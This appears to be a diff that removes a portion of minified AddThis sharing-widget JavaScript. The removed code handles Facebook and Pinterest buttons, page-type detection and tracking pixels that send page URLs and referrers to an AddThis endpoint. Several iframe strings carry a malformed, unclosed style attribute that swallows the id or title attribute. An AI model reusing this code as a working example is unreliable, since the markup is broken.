-                                dec: Ye.decodeGeo,
-                                parse: Ye.parseGeo,
-                                isin: Ye.isLocatedIn
-                            },
-                            host: Te,
-                            gsp: tt,
-                            gst: nt,
-                            gtt() {
-                                var e = dn.getElementsByTagName('script');
-                                return e[e.length - 1];
-                            },
-                            pae: it,
-                            pas: ot,
-                            baseToDecimal: Ct,
-                            hbtoa: Qe.hbtoa,
-                            atohb: Qe.atohb,
-                            gebcn: rt.getElementsByClassPrefix,
-                            select: rt.select,
-                            parent: rt.getParent,
-                            qsa: rt.querySelectorAll,
-                            gettxt: rt.getText
-                        }),
-                        be(_ate, {
-                            resource: {
-                                Resource: W,
-                                Bundle: q
-                            }
-                        }),
-                        (_ate.sid = _ate.track.ssid()),
-                        window.parent === window &&
-                        (Oe(window, 'message', Mt.messageHandler), Oe(window, 'scroll', Mt.handler), Oe(window, 'resize', Mt.resizeHandler)),
-                        (() => {
-                            function e(e) {
-                                e = e.split('-').shift();
-                                for (var t = 0; t < g.length; t++)
-                                    if (g[t] === e) return;
-                                g.push(e);
-                            }
-                            function t(e, t) {
-                                var n;
-                                var a = Math.floor(1e3 * Math.random());
-                                var i = qt.getContainer();
-                                return t || m || !_atc._atf || _ate.bro.ie6 || _ate.bro.ie7 ?
-                                    (_ate.bro.msi ?
-                                        ((i.innerHTML =
-                                                '<iframe  style="-webkit-transform:scale(0.7);-moz-transform-scale(0.7);id="_atssh' +
-                                                a +
-                                                '" width="1" height="1" title="AddThis utility frame" name="_atssh' +
-                                                a +
-                                                '" ' +
-                                                (e ? 'src="' + e + '"' : '') +
-                                                '>'),
-                                            (n = u.getElementById('_atssh' + a))) :
-                                        ((n = u.ce('iframe')), (n.id = '_atssh' + a), (n.title = 'AddThis utility frame')),
-                                        _ate.opp(n),
-                                        (n.frameborder = n.style.border = 0),
-                                        (n.style.top = n.style.left = 0),
-                                        n) :
-                                    ((m = _atc._atf), _ate.bro.msi && (m.url = e), m);
-                            }
-                            function n() {
-                                if (
-                                    document.getElementById('product') ||
-                                    ('function' == typeof document.getElementsByClassName && (document.getElementsByClassName('product') || []).length > 0) ||
-                                    document.getElementById('productDescription') ||
-                                    document.getElementById('page-product') ||
-                                    document.getElementById('vm_cart_products') ||
-                                    window.Virtuemart
-                                )
-                                    return !0;
-                                var e = _ate.ad.gog();
-                                for (var t in e)
-                                    if ('type=product' === e[t]) return !0;
-                            }
-                            function a() {
-                                var e = window;
-                                return (
-                                    (((e.jQuery || {}).fn || {}).jquery && 1) |
-                                    ((e.Prototype || {}).Version && 2) |
-                                    ((e.YUI || {}).version || ((e.YAHOO || {}).VERSION && 4)) |
-                                    ((e.Ext || {}).version && 8) |
-                                    ((e.dojo || {}).version && 16) |
-                                    ((e._gaq || e._gat) && 32) |
-                                    (e.google_ad_client && 64) |
-                                    ((e.FB || e.fbAsyncInit) && 128) |
-                                    (e.$BTB && 256) |
-                                    (e.meebo && 512) |
-                                    (e.gigya && 1024) |
-                                    (e.SHARETHIS && 2048) |
-                                    (e._qevents && 4096) |
-                                    (e.twttr && 8192) |
-                                    (e.postwidgetnamespace && 16384) |
-                                    (e.a2a && 32768) |
-                                    (e.SHRSB_Settings && 65536) |
-                                    (e._sf_async_config && 131072) |
-                                    (e.Shopify && 262144)
-                                );
-                            }
-                            function i(e, n) {
-                                var a = window._atc.rev || '';
-                                if (e)
-                                    if (
-                                        ((e.xck = _atc.xck ? 1 : 0),
-                                            (e.xxl = 1),
-                                            (e.sid = _ate.track.ssid()),
-                                            (e.pub = _ate.pub()),
-                                            (e.ssl = _ate.ssl || 0),
-                                            (e.du = _ate.truncateURL(e.url || _ate.du || Nt.du)),
-                                            (e.xtr = n !== O ? 0 : _atc.xtr),
-                                            _ate.dt && (e.dt = _ate.dt),
-                                            _ate.cb && (e.cb = _ate.cb),
-                                            _ate.kw && (e.kw = _ate.kw),
-                                            (e.lng = Q()),
-                                            (e.ver = 300),
-                                            (e.jsl = _ate.track.jsl()),
-                                            (e.prod = _ate.track.prod()),
-                                            !_ate.upm && _ate.uid && (e.uid = _ate.uid),
-                                            (e.pc = e.spc || g.join(',')),
-                                            _ate.dr && (e.dr = _ate.truncateURL(_ate.dr)),
-                                            _ate.dh && (e.dh = _ate.dh),
-                                            a && (e.rev = a),
-                                            _ate.xfr)
-                                    ) {
-                                        if (_ate.upm && qt.getPostMan()) qt.getPostMan().post(ve(e));
-                                        else if (!pt()) {
-                                            var i = qt.getContainer();
-                                            m && i.removeChild(i.firstChild), (m = t()), (m.src = Et + '#' + ve(e)), i.appendChild(m);
-                                        }
-                                    } else p.push(e);
-                            }
-                            function o(e) {
-                                if (c.length > 0 || l) {
-                                    if ((_ate.track.sxm(!1, o), _atc.xtr)) return;
-                                    var t = l || {};
-                                    if (((t.ce = c.join(',')), (c = []), (l = null), i(t), e)) {
-                                        var n = u.ce('iframe');
-                                        (n.id = '_atf'), _ate.opp(n), u.body.appendChild(n), (n = u.getElementById('_atf'));
-                                    }
-                                }
-                            }
-                            function r(e, t) {
-                                c.push(_ate.track.fcv(e, t)), _ate.track.sxm(!0, o);
-                            }
-                            function s(e, t) {
-                                var n = Y();
-                                var a = document.location ? Nt.dh : '';
-                                var i = window._atc;
-                                if (c.length > 0) {
-                                    if (i.xtr) return;
-                                    (a.indexOf('.gov') > -1 || a.indexOf('.mil') > -1) && (i.xck = 1),
-                                    _ate.dt && c.push(_ate.track.fcv('pti', _ate.dt)),
-                                        c.push(_ate.track.fcv('lng', n)),
-                                        _ate.cb && c.push(_ate.track.fcv('cb', _ate.cb));
-                                    var o =
-                                        'https://o.addthis.com/at/tev-' +
-                                        _ate.track.ran() +
-                                        '.png?ev=' +
-                                        _ate.track.sta() +
-                                        '&ce=' +
-                                        window.encodeURIComponent(c.join(',')) +
-                                        (i.xck ? '&xck=1' : '') +
-                                        (_ate.dr ?
-                                            '&dr=' +
-                                            window.encodeURIComponent(
-                                                _ate.track.mgu(_ate.dr, {
-                                                    defrag: 1
-                                                })
-                                            ) :
-                                            '') +
-                                        (_ate.du ?
-                                            '&PRE=' +
-                                            window.encodeURIComponent(
-                                                _ate.track.mgu(_ate.du, {
-                                                    defrag: 1
-                                                })
-                                            ) :
-                                            '');
-                                    (c = []),
-                                    _ate.track.lpx({
-                                            url: o,
-                                            close: e
-                                        },
-                                        t
-                                    );
-                                }
-                            }
-                            function d(e, t) {
-                                return e ?
-                                    e.pco ?
-                                    (e.ruleId || R.warn('missing ruleId, only OK if no audiences are specified for the tool `' + e.pco + '`.'),
-                                        e.url || (e.url = _ate.du),
-                                        c.push(_ate.track.fcv('typ', 'lnk')),
-                                        c.push(_ate.track.fcv('pco', e.pco)),
-                                        c.push(
-                                            _ate.track.fcv(
-                                                'pur',
-                                                _ate.track.mgu(e.url, {
-                                                    defrag: !0
-                                                })
-                                            )
-                                        ),
-                                        e.goal && c.push(_ate.track.fcv('goal', e.goal)),
-                                        e.ruleId && c.push(_ate.track.fcv('cad', e.ruleId)),
-                                        e.prov && c.push(_ate.track.fcv('prov', e.prov)),
-                                        e.emailHash && c.push(_ate.track.fcv('emhash', e.emailHash)),
-                                        e.testID && c.push(_ate.track.fcv('test', e.testID)),
-                                        e.position && c.push(_ate.track.fcv('position', e.position)),
-                                        void s(!1, t)) :
-                                    void R.error('missing pco') :
-                                    void R.error('missing data');
-                            }
-                            var u = document;
-                            var c = [];
-                            var l = null;
-                            var f = (e) => {
-                                var t = _ate.track.ts.get();
-                                'social' === t.type ? _ate.cookie.ssc.update(t.service) : e && _ate.cookie.ssc.update(e);
-                            };
-                            var p = [];
-                            var h = () => {
-                                for (var e;
-                                    (e = p.pop());) i(e);
-                            };
-                            var m = null;
-                            var g = [];
-                            _ate.ed.addEventListener('addthis-internal.link.click', (e) => {
-                                    e &&
-                                        e.data &&
-                                        e.data.pco &&
-                                        e.data.url &&
-                                        (c.push(_ate.track.fcv('typ', 'lnk')),
-                                            c.push(_ate.track.fcv('pco', e.data.pco)),
-                                            c.push(
-                                                _ate.track.fcv(
-                                                    'pur',
-                                                    _ate.track.mgu(e.data.url, {
-                                                        defrag: 1
-                                                    })
-                                                )
-                                            ),
-                                            s(!0));
-                                }),
-                                _ate.ed.addEventListener('addthis-internal.conversion', (e) => {
-                                    R.debug(e), d(e);
-                                }),
-                                _ate.ed.addEventListener('addthis.menu.share', (e) => {
-                                    e &&
-                                        e.data &&
-                                        e.data.service &&
-                                        (i({
-                                                gen: 'more' === e.data.service ||
-                                                    'settings' === e.data.service ||
-                                                    'link' === e.data.service ||
-                                                    'email' === e.data.service ?
-                                                    _ate.ad.type.NOOP : _ate.ad.type.SHARE,
-                                                pix: 'dest=' + e.data.service,
-                                                svc: e.data.service,
-                                                url: e.data.url || null
-                                            }),
-                                            (_ate.dcp = _ate.ad.type.SHARE));
-                                }),
-                                _ate.ed.addEventListener('addthis.menu.follow', (e) => {
-                                    e &&
-                                        e.data &&
-                                        e.data.service &&
-                                        e.data.url &&
-                                        i({
-                                            gen: _ate.ad.type.FOLLOW,
-                                            pix: 'dest=' + e.data.service,
-                                            svc: e.data.service,
-                                            url: e.data.url
-                                        });
-                                }),
-                                _ate.track || (_ate.track = {}),
-                                _ate.util.extend(_ate.track, {
-                                    pcs: g,
-                                    apc: e,
-                                    cev: r,
-                                    ctf: t,
-                                    jsl: a,
-                                    prod: n,
-                                    gtf: qt.getContainer,
-                                    qtp(e) {
-                                        p.push(e);
-                                    },
-                                    ssc: f,
-                                    stf(e) {
-                                        m = e;
-                                    },
-                                    trk: i,
-                                    xtp: h,
-                                    conversion: d
-                                });
-                        })(),
-                        be(_ate, {
-                            _rec: [],
-                            xfr: !_ate.upm || !_ate.bro.ffx,
-                            pmh(e) {
-                                var t;
-                                if ('.addthis.com' === e.origin.slice(-'.addthis.com'.length)) {
-                                    if (!e.data) return;
-                                    if (e.data.length)
-                                        if (_ate.unj && e.data.indexOf && 0 === e.data.indexOf('{'))
-                                            try {
-                                                t = JSON.parse(e.data);
-                                            } catch (e) {
-                                                t = _ate.util.rfromKV(e.data);
-                                            }
-                                    else t = _ate.util.rfromKV(e.data);
-                                    else t = e.data;
-                                    for (var n = 0; n < _ate._rec.length; n++) _ate._rec[n](t);
-                                }
-                            }
-                        }),
-                        (() => {
-                            function e(e) {
-                                return e.replace(/[a-zA-Z]/g, (e) => String.fromCharCode((e <= 'Z' ? 90 : 122) >= (e = e.charCodeAt(0) + 13) ? e : e - 26));
-                            }
-                            function t(e) {
-                                var t = 0;
-                                return e && 'string' == typeof e ?
-                                    ((e = ((e || '').toLowerCase() + '').replace(/ /g, '')),
-                                        ('mature' !== e && 'adult' !== e && 'rta-5042-1996-1400-1577-rta' !== e) || (t |= l),
-                                        t) :
-                                    t;
-                            }
-                            function a(e, t) {
-                                var n;
-                                var a;
-                                var i = 0;
-                                if (!e || 'string' != typeof e) return i;
-                                for (e = ((e || '').toLowerCase() + '').replace(/[^a-zA-Z]/g, ' ').split(' '), n = 0, a = e.length; n < a; n++)
-                                    if (v[e[n]] || (!t && _[e[n]])) return (i |= l);
-                                return i;
-                            }
-                            function i() {
-                                var e = u();
-                                var n = c.addthis_title || Nt.title;
-                                var i = a(n, !1);
-                                var r = (e || '').length;
-                                if (((i |= a(Nt.dh, !0)), e && r))
-                                    for (; r--;) {
-                                        var s;
-                                        var d = e[r] || {};
-                                        d.name ? (s = d.name) : d.getAttribute && (s = d.getAttribute('property')), s || (s = ''), (s = s.toLowerCase());
-                                        var l = d.content;
-                                        ('description' !== s && 'keywords' !== s) || (i |= a(l, !1)),
-                                        'rating' === s && (i |= t(l)),
-                                            'keywords' === s && l && l.length && o(l);
-                                    }
-                                return i;
-                            }
-                            function o(e) {
-                                var t;
-                                var n;
-                                var a = e.split(',');
-                                var i = 200;
-                                for (n = 0; n < a.length && ((t = _ate.trim(a[n])), (i -= t.length + 1) > 0); n++) g.push(t);
-                            }
-                            function r() {
-                                var e;
-                                var t;
-                                var n;
-                                var a;
-                                var i = u();
-                                var o = [];
-                                var r = (i || '').length;
-                                if (i && r)
-                                    for (; r--;)
-                                        (e = i[r] || {}),
-                                        (t = e.getAttribute ? e.getAttribute('property') : ''),
-                                        (t = (t || e.name || '').toLowerCase()),
-                                        (n = e.content),
-                                        0 === t.indexOf('og:') &&
-                                        ((a = t.split(':').pop()), (o.length < 7 || 'type' === a) && o.push('type' === a ? a + '=' + n : a));
-                                return o;
-                            }
-                            function s() {
-                                return ve(at());
-                            }
-                            function d() {
-                                return g.join(',');
-                            }
-                            for (
-                                var u = n(588),
-                                    c = (document, window),
-                                    l = 1,
-                                    f = ['cbea', 'cbeab', 'kkk', 'zvys', 'gvgf', 'shpxf', 'chfflyvcf', 'pernzcvr', 'svfgvat', 'wvmm', 'fcybbtr', 'flovna'],
-                                    p = ['phz'],
-                                    h = f.length,
-                                    m = p.length,
-                                    g = [],
-                                    _ = {},
-                                    v = {}; h--;
-                            )
-                                v[e(f[h])] = 1;
-                            for (; m--;) _[e(p[m])] = 1;
-                            _ate.ad || (_ate.ad = {}),
-                                be(_ate.ad, {
-                                    cla: i,
-                                    gog: r,
-                                    og: s,
-                                    kw: d,
-                                    gch: Wt
-                                });
-                        })(),
-                        (() => {
-                            function e(e) {
-                                i
-                                    ?
-                                    setTimeout(
-                                        () => {
-                                            _ate.track.trk(e, !0);
-                                        },
-                                        _ate.upm ? 0 : 2 * _ate.wait
-                                    ) :
-                                    a.push(e);
-                            }
-                            function t(t) {
-                                var n = {
-                                    pco: 'cnv-100'
-                                };
-                                var a = {
-                                    pxid: 1,
-                                    ev: 1
-                                };
-                                if (t)
-                                    for (var i in t) a[i] && (n[i] = t[i]);
-                                e({
-                                    gen: 2e3,
-                                    fcp: 1,
-                                    pix: _ate.util.toKV(n)
-                                });
-                            }
-                            function n(t) {
-                                e({
-                                    pixu: t
-                                });
-                            }
-                            var a = [];
-                            var i = !_ate.upm || (_ate.dat || {}).rdy;
-                            _ate.du || (_ate.du = Nt.du),
-                                _ate.dh || (_ate.dh = Nt.dh),
-                                _ate.dr || (_ate.dr = Nt.dr),
-                                _ate.ad || (_ate.ad = {}),
-                                be(_ate.ad, {
-                                    event: t,
-                                    getPixels: n
-                                }),
-                                _ate.ed.addEventListener('addthis-internal.data.rdy', () => {
-                                    i = 1;
-                                    for (var t = 0; t < a.length; t++) e(a[t]);
-                                });
-                        })(),
-                        (() => {
-                            function e(e, t, n, a, i, o, r) {
-                                return (
-                                    'function' != typeof r || r.ost || (r(), (r.ost = 1)),
-                                    n || (n = window.addthis),
-                                    'function' == typeof o ?
-                                    function(...args) {
-                                        a && a.apply(n, args);
-                                        var t = args;
-                                        i
-                                            ?
-                                            _ate.ed.once(i, () => {
-                                                o.apply(n, t);
-                                            }) :
-                                            e.addEventListener('load', () => {
-                                                o.apply(n, t);
-                                            }),
-                                            e.load();
-                                    } :
-                                    (o, r, s) => {
-                                        o &&
-                                            ((o = _ate.util.select(o)),
-                                                o.length &&
-                                                (a && a(o),
-                                                    i ?
-                                                    _ate.ed.addEventListener(i, () => {
-                                                        n[t](o, r, s);
-                                                    }) :
-                                                    e.addEventListener('load', () => {
-                                                        n[t](o, r, s);
-                                                    }),
-                                                    e.load()));
-                                    }
-                                );
-                            }
-                            function t(t) {
-                                var n;
-                                var a = () => {
-                                    throw new Error('Invalid internal API request');
-                                };
-                                var i = (t && t.context) || window.addthis;
-                                t || a(),
-                                    t.resources instanceof Array && (t.resources = new _ate.resource.Bundle(t.resources)),
-                                    t.resources || a(),
-                                    t.method || a(),
-                                    (n = e(t.resources, t.method, t.context, t.pre, t.event, t.callback, t.oncall)),
-                                    (i[t.method] = function(...args) {
-                                        var e = args;
-                                        _atc.xol && !_adr.isReady ?
-                                            _adr.append(() => {
-                                                n.apply(i, e);
-                                            }) :
-                                            n.apply(i, e);
-                                    });
-                            }
-                            function n(e) {
-                                e.methods &&
-                                    Object.keys(e.methods).forEach((n) => {
-                                        var a = e.methods[n];
-                                        (a.method = n), e.context && (a.context = e.context), e.resources && (a.resources = e.resources), t(a);
-                                    });
-                            }
-                            _ate.api = {
-                                ApiQueueFactory: e,
-                                addAsync: t,
-                                register: n
-                            };
-                        })(),
-                        (() => {
-                            function e() {
-                                var e;
-                                var t;
-                                var n = dn.gn('link');
-                                var a = {};
-                                for (e = 0; e < n.length; e++)(t = n[e]), t.href && t.rel && (a[t.rel] = t.href);
-                                return a;
-                            }
-                            function t(e, t, n) {
-                                var a = e.xid;
-                                return t.data_track_clickback || t.data_track_linkback || _ate.track.ctp(t.product, t) ?
-                                    _ate.track.gcc(a, (e.smd || _ate.smd || {}).gen || 0) + (n || '') :
-                                    '';
-                            }
-                            function a(e) {
-                                return !((e.templates && e.templates.twitter) || (_ate.wlp && 'http:' !== _ate.wlp));
-                            }
-                            function i(e, t, n, a) {
-                                return B('twitter', e), !1;
-                            }
-                            function o(e, t, n, a, i) {
-                                var o = i ? 'follow' : e.indexOf('_comment') > -1 ? 'comment' : 'share';
-                                var r = {
-                                    element: a || {},
-                                    service: e || 'unknown',
-                                    url: i ? t.followUrl : t.trackurl || t.url
-                                };
-                                _ate.ed.fire('addthis.menu.' + o, sn.addthis || {}, r);
-                            }
-                            function r(e) {
-                                for (var t in e) e.hasOwnProperty(t) && (h[t] = e[t]);
-                            }
-                            function s(e) {
-                                g.push(e);
-                            }
-                            function d() {
-                                for (var e = 0; e < g.length; e++) g[e]();
-                            }
-                            function u(e, t, n) {
-                                if (h[e])
-                                    try {
-                                        return (
-                                            h[e](t, n, e),
-                                            t &&
-                                            ((t.parentNode.className || '').indexOf('toolbox') > -1 &&
-                                                ((t.parentNode.services = t.parentNode.services || {}), (t.parentNode.services[e] = 1)),
-                                                (t.className || '').indexOf('at300') === -1 && (t.className += ' at300b')),
-                                            !0
-                                        );
-                                    } catch (e) {
-                                        return !1;
-                                    }
-                                return !1;
-                            }
-                            function c(e) {
-                                for (var t in e) e.hasOwnProperty(t) && (m[t] = e[t]);
-                            }
-                            function l(e, t, n) {
-                                var a = () => {};
-                                return (
-                                    !!m[e] &&
-                                    ((m[e].require && !m[e].require(e, t, n)) ||
-                                        Object.keys(m[e]).forEach((n) => {
-                                            '_after' === n ? (a = m[e][n]) : (t[n] = (a) => ((a = a || {}), (a.el = t), (a.service = e), m[e][n](a)));
-                                        }),
-                                        a(t),
-                                        !0)
-                                );
-                            }
-                            var f = n(460);
-                            var p = e();
-                            var h = {};
-                            var m = {};
-                            var g = [];
-                            (_ate.share = _ate.share || {}),
-                            _ate.util.extend(_ate.share, {
-                                onw: n(474),
-                                cleanly: B,
-                                pts: i,
-                                unt: a,
-                                genurl: At,
-                                acb: f,
-                                gcp: t,
-                                track: z,
-                                notify: o,
-                                links: p,
-                                register: r,
-                                registerListeners: c,
-                                sub: d,
-                                registerSubscriber: s,
-                                extern: u,
-                                externEvents: l
-                            });
-                        })(),
-                        (() => {
-                            function e() {
-                                return (_atc.ltj && i()) || (a() && FB.XFBML && FB.XFBML.parse);
-                            }
-                            function t() {
-                                if (f === O)
-                                    try {
-                                        var e = document.getElementsByTagName('html')[0];
-                                        if (e)
-                                            if (e.getAttribute && e.getAttribute('xmlns:fb')) f = !0;
-                                            else if (_ate.bro.msi) {
-                                            var t = e.outerHTML.substr(0, e.outerHTML.indexOf('>'));
-                                            t.indexOf('xmlns:fb') > -1 && (f = !0);
-                                        }
-                                    } catch (e) {
-                                        f = !1;
-                                    }
-                                return f;
-                            }
-                            function a() {
-                                return 'object' == typeof sn.FB && FB.Event && 'function' == typeof FB.Event.subscribe;
-                            }
-                            function i() {
-                                return !(sn.FB_RequireFeatures || (sn.FB && (FB.Share || FB.Bootstrap)));
-                            }
-                            function o(e, t) {
-                                var n = {};
-                                var a = m[t];
-                                var i = addthis_config.data_ga_tracker || addthis_config.data_ga_property;
-                                for (var o in addthis_share) n[o] = addthis_share[o];
-                                if (a)
-                                    for (o in a) n[o] = a[o];
-                                (n.url = t), _ate.share.track(e, 0, n, addthis_config), i && _ate.gat(e, t, addthis_config, n);
-                            }
-                            function r() {
-                                Nt.du.indexOf(_atr) !== -1 ||
-                                    _ate.sub ||
-                                    _ ||
-                                    (a() ?
-                                        ((_ = 1),
-                                            FB.Event.subscribe('message.send', (e) => {
-                                                o('facebook_send', e);
-                                            }),
-                                            FB.Event.subscribe('edge.create', (e) => {
-                                                h[e] || (o('facebook_like', e), (h[e] = 1));
-                                            }),
-                                            FB.Event.subscribe('edge.remove', (e) => {
-                                                h[e] && (o('facebook_unlike', e), (h[e] = 0));
-                                            }),
-                                            FB.Event.subscribe('comment.create', (e) => {
-                                                o('facebook_comment', e.href);
-                                            }),
-                                            FB.Event.subscribe('comment.remove', (e) => {
-                                                o('facebook_uncomment', e.href);
-                                            })) :
-                                        sn.fbAsyncInit && !b && (v < 3 && setTimeout(r, 3e3 + 2e3 * v++), (b = 1)));
-                            }
-                            function s(e, t) {
-                                var n = 'fb-root';
-                                var i = p.getElementById(n);
-                                var o = sn.fbAsyncInit;
-                                var s = !1;
-                                var d = () => {
-                                    s = !0;
-                                    for (var e = 0; e < g.length; e++) FB.XFBML.parse(g[e]);
-                                };
-                                if ((g.push(e), a() && FB.XFBML && FB.XFBML.parse)) r(), FB.XFBML.parse(e);
-                                else {
-                                    if (!o && (i || ((i = p.ce('div')), (i.id = n), document.body.appendChild(i)), !o)) {
-                                        var u = p.createElement('script');
-                                        (u.src = '//connect.facebook.net/' + (t || _ate.gfl(Q())) + '/sdk.js#version=v2.6'),
-                                        (u.async = !0),
-                                        i.appendChild(u),
-                                            (o = () => {
-                                                for (var e = p.getElementsByTagName('meta'), t = null, n = 0; n < e.length; n++)
-                                                    if ('fb:app_id' === e[n].property || 'fb:app_id' === e[n].name) {
-                                                        t = e[n].content;
-                                                        break;
-                                                    }
-                                                var a;
-                                                (a = t ? t : x ? '140586622674265' : '172525162793917'),
-                                                FB.init({
-                                                    appId: a,
-                                                    cookie: !0,
-                                                    version: 'v2.6'
-                                                });
-                                            });
-                                    }
-                                    w &&
-                                        ((w = !1),
-                                            (sn.__orig__fbAsyncInit = o),
-                                            (sn.fbAsyncInit = () => {
-                                                sn.__orig__fbAsyncInit(),
-                                                    r(),
-                                                    document && 'complete' === document.readyState ?
-                                                    d() :
-                                                    window.addEventListener ?
-                                                    (setTimeout(() => {
-                                                            s || d();
-                                                        }, 3e3),
-                                                        window.addEventListener('load', d, !1)) :
-                                                    d();
-                                            }));
-                                }
-                            }
-                            function d(e, t) {
-                                e.ost ||
-                                    _ate.bro.ie6 ||
-                                    ((_ate.ufbl = 1),
-                                        _ate.share.fb.ready() ?
-                                        c('send', e, t) :
-                                        ((e.className = ''), (e.innerHTML = '<span></span>'), (e.style.width = e.style.height = '0px')),
-                                        (e.noh = e.ost = 1));
-                            }
-                            function u(e, t) {
-                                e.ost ||
-                                    _ate.bro.ie6 ||
-                                    ((_ate.ufbl = 1),
-                                        _ate.share.fb.ready() ?
-                                        c('share', e, t) :
-                                        ((e.className = ''), (e.innerHTML = '<span></span>'), (e.style.width = e.style.height = '0px')),
-                                        (e.noh = e.ost = 1));
-                            }
-                            function c(e, t, n, a) {
-                                a || (a = Tt(t, 'fb:' + e)),
-                                    (a.href =
-                                        a.href ||
-                                        _ate.track.mgu(n.share.url, {
-                                            defrag: 1
-                                        })),
-                                    (e = 'share' === e ? e + '-button' : e);
-                                var i = a.height || 25;
-                                var o = p.ce('div');
-                                (o.className = 'fb-' + e),
-                                (o.dataRef = _ate.share.gcp(n.share, n.conf, '.' + e).replace(',', '_')),
-                                (o.style.height = i + 'px'),
-                                t.appendChild(o);
-                                for (var r in a)
-                                    if (a.hasOwnProperty(r)) {
-                                        var d = a[r];
-                                        if ('share-button' === e) {
-                                            if ('horizontal' === d) {
-                                                t.firstChild.setAttribute('data-' + r, 'button_count');
-                                                continue;
-                                            }
-                                            if ('vertical' === d) {
-                                                t.firstChild.setAttribute('data-' + r, 'box_count');
-                                                continue;
-                                            }
-                                        }
-                                        t.firstChild.setAttribute('data-' + r, d);
-                                    }! a || a.type || a.layout || t.firstChild.setAttribute('data-type', 'box_count'), s(t);
-                            }
-                            function l(t, n) {
-                                if (!t.ost) {
-                                    var a;
-                                    var i;
-                                    var o;
-                                    var r = _ate.api.ptpa(t, 'fb:like');
-                                    var s = r.layout || 'button_count';
-                                    var d = {
-                                        standard: [450, r.show_faces ? 80 : 35],
-                                        button_count: [90, 25],
-                                        box_count: [55, 40]
-                                    };
-                                    var u = r.width || (d[s] ? d[s][0] : 100);
-                                    var l = r.height || (d[s] ? d[s][1] : 25);
-                                    if (((passthrough = _ate.util.toKV(r)), (_ate.ufbl = 1), e())) {
-                                        r.layout === O && (r.layout = 'button_count'),
-                                            r.show_faces === O && (r.show_faces = 'false'),
-                                            r.share === O && (r.share = 'false'),
-                                            r.action === O && (r.action = 'like'),
-                                            r.width === O && (r.width = u),
-                                            r.height === O && (r.height = l),
-                                            r.font === O && (r.font = 'arial'),
-                                            r.href === O &&
-                                            ((o = _ate.util.clone(n.share.url_transforms || {})), (o.defrag = 1), (r.href = _ate.track.mgu(n.share.url, o))),
-                                            (r.send = !1),
-                                            n.share.xid || (n.share.xid = Je.makeCUID()),
-                                            (m[r.href] = {});
-                                        for (i in n.share) m[r.href][i] = n.share[i];
-                                        c('like', t, n, r);
-                                    } else
-                                        _ate.bro.msi ?
-                                        ((t.innerHTML =
-                                                '<iframe  style="-webkit-transform:scale(0.7);-moz-transform-scale(0.7);title="AddThis | Facebook" frameborder="0" scrolling="no"  scrollbars="no"' +
-                                                (_ate.bro.ie6 ? ' src="javascript:\'\'"' : '') +
-                                                '></iframe>'),
-                                            (a = t.firstChild)) :
-                                        (a = p.ce('iframe')),
-                                        (a.style.overflow = 'hidden'),
-                                        (a.style.scrolling = 'no'),
-                                        (a.style.scrollbars = 'no'),
-                                        (a.style.border = 'none'),
-                                        (a.style.borderWidth = '0px'),
-                                        (a.style.width = u + 'px'),
-                                        (a.style.height = l + 'px'),
-                                        (a.src =
-                                            '//www.facebook.com/plugins/like.php?href=' +
-                                            window.encodeURIComponent(
-                                                _ate.track.mgu(n.share.url, {
-                                                    defrag: 1
-                                                })
-                                            ) +
-                                            '&layout=button_count&show_faces=false&width=100&action=like&font=arial&' +
-                                            passthrough),
-                                        _ate.bro.msi || Ht(t, a, 'facebook_like_iframe_widget', a.style.height, a.style.width);
-                                    t.noh = t.ost = 1;
-                                }
-                            }
-                            var f;
-                            var p = document;
-                            var h = {};
-                            var m = {};
-                            var g = [];
-                            var _ = 0;
-                            var v = 0;
-                            var b = 0;
-                            var w = !0;
-                            var x = p.domain.search(/\.addthis\.com$/i) !== -1 ? 1 : 0;
-                            (_ate.share = _ate.share || {}),
-                            _ate.share.register({
-                                    facebook_like: l,
-                                    facebook_send: d,
-                                    facebook_share: u
-                                }),
-                                _ate.share.registerSubscriber(r),
-                                _ate.share.registerListeners({
-                                    facebook: {
-                                        _after(e) {
-                                            (e.ins = 1), (e.noh = 1);
-                                        },
-                                        onclick(e) {
-                                            P(e);
-                                            var t;
-                                            var a = e.el;
-                                            var i = n(465);
-                                            return (t = Ce(a.conf)), i(t, a.share), B('facebook', t);
-                                        }
-                                    }
-                                }),
-                                (_ate.share.fb = {
-                                    like: l,
-                                    send: d,
-                                    has: a,
-                                    ns: t,
-                                    ready: e,
-                                    compat: i,
-                                    sub: r,
-                                    load: s
-                                });
-                        })(),
-                        (() => {
-                            function e(e, t) {
-                                return be({
-                                        product: 'tbx',
-                                        media: t.media,
-                                        description: t.description,
-                                        title: t.title
-                                    },
-                                    e
-                                );
-                            }
-                            function t(t, n, a) {
-                                if (!t.ost) {
-                                    var i;
-                                    var o = Tt(t, 'pi:pinit');
-                                    var r = _ate.util.clone(n.share);
-                                    if (
-                                        ((i =
-                                                addthis_share && addthis_share.passthrough && addthis_share.passthrough.pinterest_share ?
-                                                addthis_share.passthrough.pinterest_share :
-                                                addthis_share && addthis_share.pinterest_share ?
-                                                addthis_share.pinterest_share :
-                                                addthis_share && addthis_share.passthrough ?
-                                                addthis_share.passthrough :
-                                                addthis_share ?
-                                                addthis_share : {}),
-                                            o.media)
-                                    ) {
-                                        (o.url = r.url =
-                                            o.url ||
-                                            i.url ||
-                                            _ate.track.mgu(r.url, {
-                                                defrag: 1
-                                            })),
-                                        (o.url = window.encodeURIComponent(_ate.track.mgu(r.url))),
-                                        'horizontal' === o.layout ?
-                                            ((o.layout = '&layout=horizontal'), (o.width = '100px'), (o.height = '25px')) :
-                                            'vertical' === o.layout ?
-                                            ((o.layout = '&layout=vertical'), (o.width = '49px'), (o.height = '59px')) :
-                                            ((o.layout = ''), (o.width = '40px'), (o.height = '25px'));
-                                        var s =
-                                            '<iframe  style="-webkit-transform:scale(0.7);-moz-transform-scale(0.7);title="AddThis | Pinterest" frameborder="0" role="presentation" scrolling="no"  scrollbars="no"' +
-                                            (_ate.bro.ie6 ? ' src="javascript:\'\'"' : '') +
-                                            ' style="width:' +
-                                            o.width +
-                                            '; height:' +
-                                            o.height +
-                                            ';"></iframe>';
-                                        Ht(t, s, 'pin_it_iframe_widget', o.height, o.width),
-                                            (pinitButton = t.firstChild.firstChild.firstChild),
-                                            n.conf.pubid || (n.conf.pubid = addthis_config.pubid || Gt()),
-                                            (o.description = r.description = o.description || i.description || i.title || (addthis_share || {}).title || ''),
-                                            (pinitButton.src =
-                                                _atc.rsrcs.pinit +
-                                                (_ate.bro.ie6 || _ate.bro.ie7 ? '?' : '#') +
-                                                'url=' +
-                                                window.encodeURIComponent(o.url) +
-                                                '&media=' +
-                                                window.encodeURIComponent(o.media || i.media || '') +
-                                                '&description=' +
-                                                window.encodeURIComponent(o.description) +
-                                                o.layout +
-                                                '&ats=' +
